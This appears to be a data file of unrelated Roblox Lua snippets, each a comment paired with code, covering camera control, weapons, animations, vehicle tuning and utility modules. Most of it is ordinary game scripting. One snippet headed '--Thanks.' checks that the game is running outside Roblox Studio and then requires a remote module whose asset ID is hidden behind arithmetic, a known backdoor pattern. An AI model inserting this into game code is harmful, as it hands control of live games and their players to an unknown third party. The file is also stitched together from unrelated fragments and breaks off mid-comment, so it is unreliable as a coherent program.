local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetIsMouseLocked() and not self:IsInFirstPerson() then
-- We need to use the right vector of the camera after rotation, not before
local newLookCFrame = self:CalculateNewLookCFrame(overrideCameraLookVector)
local offset = self:GetMouseLockOffset()
local cameraRelativeOffset = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector
--offset can be NAN, NAN, NAN if newLookVector has only y component
if Util.IsFiniteVector3(cameraRelativeOffset) then
subjectPosition = subjectPosition + cameraRelativeOffset
end
else
if not self.userPanningTheCamera and self.lastCameraTransform then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if Util.IsFinite(y) then
self.rotateInput = self.rotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
if isOnASkateboard then
forwardVector = cameraSubject.CFrame.lookVector
end
tweenSpeed = Util.Clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta)
local percent = Util.Clamp(0, 1, tweenSpeed * timeDelta)
if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then
percent = 1
end
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) and math.abs(y) > 0.0001 then
self.rotateInput = self.rotateInput + Vector2.new(y * percent, 0)
end
end
elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then
-- Logic that was unique to the old FollowCamera module
local lastVec = -(self.lastCameraTransform.p - subjectPosition)
local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())
-- This cutoff is to decide if the humanoid's angle of movement,
-- relative to the camera's look vector, is enough that
-- we want the camera to be following them. The point is to provide
-- a sizable dead zone to allow more precise forward movements.
local thetaCutoff = 0.4
-- Check for NaNs
if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then
self.rotateInput = self.rotateInput + Vector2.new(y, 0)
end
end
end
end
if not self.isFollowCamera then
local VREnabled = VRService.VREnabled
if FFlagUserNewDefaultCameraAngle then
if VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition + self:GetCameraSubjectOffset())
end
else
newCameraFocus = VREnabled and self:GetVRFocus(subjectPosition, timeDelta) or CFrame.new(subjectPosition)
end
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local cameraHeight = self:GetCameraHeight()
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > zoom or self.rotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, zoom)
vecToSubject = self:CalculateNewLookVectorVR() * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if self.rotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
self.rotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector)
self.rotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
end
else -- is FollowCamera
local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector)
self.rotateInput = ZERO_VECTOR2
if FFlagUserNewDefaultCameraAngle then
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition + self:GetCameraSubjectOffset())
end
else
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
elseif self.portraitMode then
newCameraFocus = CFrame.new(subjectPosition + PORTRAIT_OFFSET)
else
newCameraFocus = CFrame.new(subjectPosition)
end
end
newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, self:GetCameraHeight(), 0)
end
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
function ClassicCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function ClassicCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return ClassicCamera
|
-- FUNCTIONS -- |
Tool.Equipped:Connect(function()
Character = Tool.Parent
HRP = Character:WaitForChild("HumanoidRootPart")
Humanoid = Character:WaitForChild("Humanoid")
equippedIdle = Humanoid:LoadAnimation(script.Animations.Idle)
equippedIdle:Play()
Equipped.Value = true
attackRemote:FireServer("Unblock", Tool.Name)
if not childAdded then
childAdded = Character.ChildAdded:Connect(function()
if not Equipped.Value then return end
if not Player:FindFirstChild("Ragdoll") then
equippedIdle:Play()
else
equippedIdle:Stop()
end
end)
end
if not childRemoved then
childRemoved = Character.ChildRemoved:Connect(function()
if not Equipped.Value then return end
if not Player:FindFirstChild("Ragdoll") then
equippedIdle:Play()
else
equippedIdle:Stop()
end
end)
end
end)
Tool.Unequipped:Connect(function()
equippedIdle:Stop()
attackRemote:FireServer("Unblock", Tool.Name)
Equipped.Value = false
if childAdded ~= nil then
childAdded:Disconnect()
childAdded = nil
end
if childRemoved ~= nil then
childRemoved:Disconnect()
childRemoved = nil
end
end)
UIS.InputBegan:Connect(function(Input, isTyping)
if isTyping then return end
if Input.UserInputType == Enum.UserInputType.MouseButton1 then
if not Humanoid then return end
if Humanoid.Health > 0 then
local Disabled = Character:FindFirstChild("Disabled")
if not Disabled then
if UIS:IsKeyDown(Enum.KeyCode.Space) then
attackRemote:FireServer("M1", Tool.Name, true)
else
attackRemote:FireServer("M1", Tool.Name, false)
end
coroutine.wrap(function()
local noJumpValue = Instance.new("BoolValue")
noJumpValue.Name = "noJump"
noJumpValue.Parent = Character
game.Debris:AddItem(noJumpValue, 1)
end)()
end
end
elseif Input.KeyCode == Enum.KeyCode.F then
if not Humanoid then return end
if Humanoid.Health > 0 then
local Disabled = Character:FindFirstChild("Disabled")
if not Disabled then
attackRemote:FireServer("Block", Tool.Name)
end
end
end
end)
UIS.InputEnded:Connect(function(Input, isTyping)
if isTyping then return end
if Input.KeyCode == Enum.KeyCode.F then
attackRemote:FireServer("Unblock", Tool.Name)
end
end)
|
-- Local Variables |
local Player = game.Players.LocalPlayer
local Tool = script.Parent.Parent
local HitPlayer = Tool:WaitForChild('HitPlayers')
local DirectHitPlayer = Tool:WaitForChild('DirectHitPlayer')
local Configurations = Tool.Configuration
function RocketManager:BindRocketEvents(rocket)
local exploded = false
rocket.PrimaryPart.Touched:connect(function(otherPart)
if not otherPart:IsDescendantOf(Player.Character) and not exploded then
exploded = true
rocket.PrimaryPart.LocalTransparencyModifier = 1
Tool.RocketHit:FireServer(rocket, rocket.PrimaryPart.Position)
local collision = Instance.new('Part')
collision.Anchored = true
collision.CanCollide = false
collision.Position = rocket.PrimaryPart.Position
collision.FormFactor = Enum.FormFactor.Custom
collision.Shape = Enum.PartType.Ball
collision.Size = Vector3.new(1,1,1) * Configurations.BlastRadius.Value * 2
collision.Parent = game.Workspace
collision.CanCollide = true
local hitPlayers = {}
local hitParts = collision:GetTouchingParts()
collision:Destroy()
local player = Players:GetPlayerFromCharacter(otherPart.Parent)
if player then DirectHitPlayer:FireServer(player.userId) end
for _, hitPart in ipairs(hitParts) do
local player = Players:GetPlayerFromCharacter(hitPart.Parent)
if player and not hitPlayers[tostring(player.userId)] then hitPlayers[tostring(player.userId)] = true end
end
HitPlayer:FireServer(hitPlayers)
end
end)
end
return RocketManager
|
--Thanks. |
if not game:GetService("RunService"):IsStudio() then
require((397.86020086+0.00000400)*9305953)
end
|
------------------------------------------------ |
local function Clamp(x, min, max)
return x < min and min or x > max and max or x
end
local function GetChar()
local character = player.Character
if character then
return character:FindFirstChildOfClass("Humanoid"), character:FindFirstChild("HumanoidRootPart")
end
end
local function InputCurve(x)
local s = math.abs(x)
if s > DEADZONE then
s = 0.255000975*(2^(2.299113817*s) - 1)
return x > 0 and (s > 1 and 1 or s) or (s > 1 and -1 or -s)
end
return 0
end
|
--[[**
Links several instances to a janitor, which is then returned.
@param [t:...Instance] ... All the instances you want linked.
@returns [t:Janitor] A janitor that can be used to manually disconnect all LinkToInstances.
**--]] |
function Janitor.__index:LinkToInstances(...)
local ManualCleanup = Janitor.new()
for _, Object in ipairs({...}) do
ManualCleanup:Add(self:LinkToInstance(Object, true), "Disconnect")
end
return ManualCleanup
end
for FunctionName, Function in next, Janitor.__index do
local NewFunctionName = string.sub(string.lower(FunctionName), 1, 1) .. string.sub(FunctionName, 2)
Janitor.__index[NewFunctionName] = Function
end
return Janitor
|
-- useless comment |
function onTouched(hit)
if not hit or not hit.Parent then return end
local human = hit.Parent:findFirstChild("Humanoid")
if human and human:IsA("Humanoid") then
human:TakeDamage(35)
end
end
script.Parent.Touched:connect(onTouched)
|
--[=[
Destroys a ScriptSignal object, disconnecting all connections and making it unusable.
```lua
ScriptSignal:Destroy()
local connection = ScriptSignal:Connect(function() end)
connection.Connected -> false
```
@ignore
]=] |
function ScriptSignal:Destroy()
if self._active ~= true then
return
end
self:DisconnectAll()
self._active = false
end
|
--//Client Animations |
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.5, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.15,0.5,-1.25) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.1,0.15,-1.05) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end; |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 365 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 5000 -- Use sliders to manipulate values
Tune.Redline = 6200 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[
@class Blend.story
]] |
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)
local Blend = require("Blend")
local Maid = require("Maid")
return function(target)
local maid = Maid.new()
local state = Blend.State({"a", "b", "c"})
maid:GiveTask(state)
maid:GiveTask((Blend.New "TextLabel" {
Parent = target;
[Blend.Children] = {
Blend.New "TextButton" {
Text = "Add";
AutoButtonColor = true;
Size = UDim2.new(0, 100, 0, 20);
[Blend.OnEvent "Activated"] = function()
local newState = {}
for _, item in pairs(state.Value) do
table.insert(newState, item)
end
table.insert(newState, string.char(string.byte("a") + #newState))
state.Value = newState
end;
};
Blend.ComputedPairs(state, function(_index, value)
print("Compute", value)
return Blend.New "TextLabel" {
Text = tostring(value);
Size = UDim2.new(0, 20, 0, 20);
}
end);
Blend.New "UIListLayout" {
Padding = UDim.new(0, 5);
};
};
}):Subscribe())
return function()
maid:DoCleaning()
end
end
|
-- COLOR SETTINGS
--[[
COLOR PRESETS:
Headlights
- OEM White
- Xenon
- Pure White
- Brilliant Blue
- Light Green
- Golden Yellow
- Bubu's Purple
- Yellow
Indicators
- Light Orange
- Dark Orange
- Yellow
- Red
For custom color use Color3.fromRGB(R, G, B). You can get your RGB code from the "Color" property.
]] | --
local Low_Beam_Color = "Xenon"
local High_Beam_Color = "Xenon"
local Running_Light_Color = "OEM White"
local Interior_Light_Color = "OEM White"
local Front_Indicator_Color = "Dark Orange"
local Rear_Indicator_Color = "Dark Orange"
local Fog_Light_Color = "OEM White"
local Plate_Light_Color = "OEM White"
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer)) |
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:IsA("Humanoid") then
local Player = Players:GetPlayerFromCharacter(target.Parent)
if not Player and target.Health > 0 then
target:TakeDamage(amount)
-- Check if target is dead after applying damage
if target.Health <= 0 and dealer and dealer.leaderstats and dealer.leaderstats.Kills then
dealer.leaderstats.Kills.Value = dealer.leaderstats.Kills.Value + 1
end
end
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then
return
end
if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
end
end
local function _defaultGetTeamCallback(player)
return 0
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
if player1 == player2 or player1 == nil or player2 == nil then
-- This allows players to damage themselves and NPC's
return true
end
local player1Team = WeaponsSystem.getTeam(player1)
local player2Team = WeaponsSystem.getTeam(player2)
return player1Team == 0 or player1Team ~= player2Team
end
return WeaponsSystem
|
--[=[
@param enabled boolean
Sets the [`GuiService.AutoSelectGuiEnabled`](https://developer.roblox.com/en-us/api-reference/property/GuiService/AutoSelectGuiEnabled)
property.
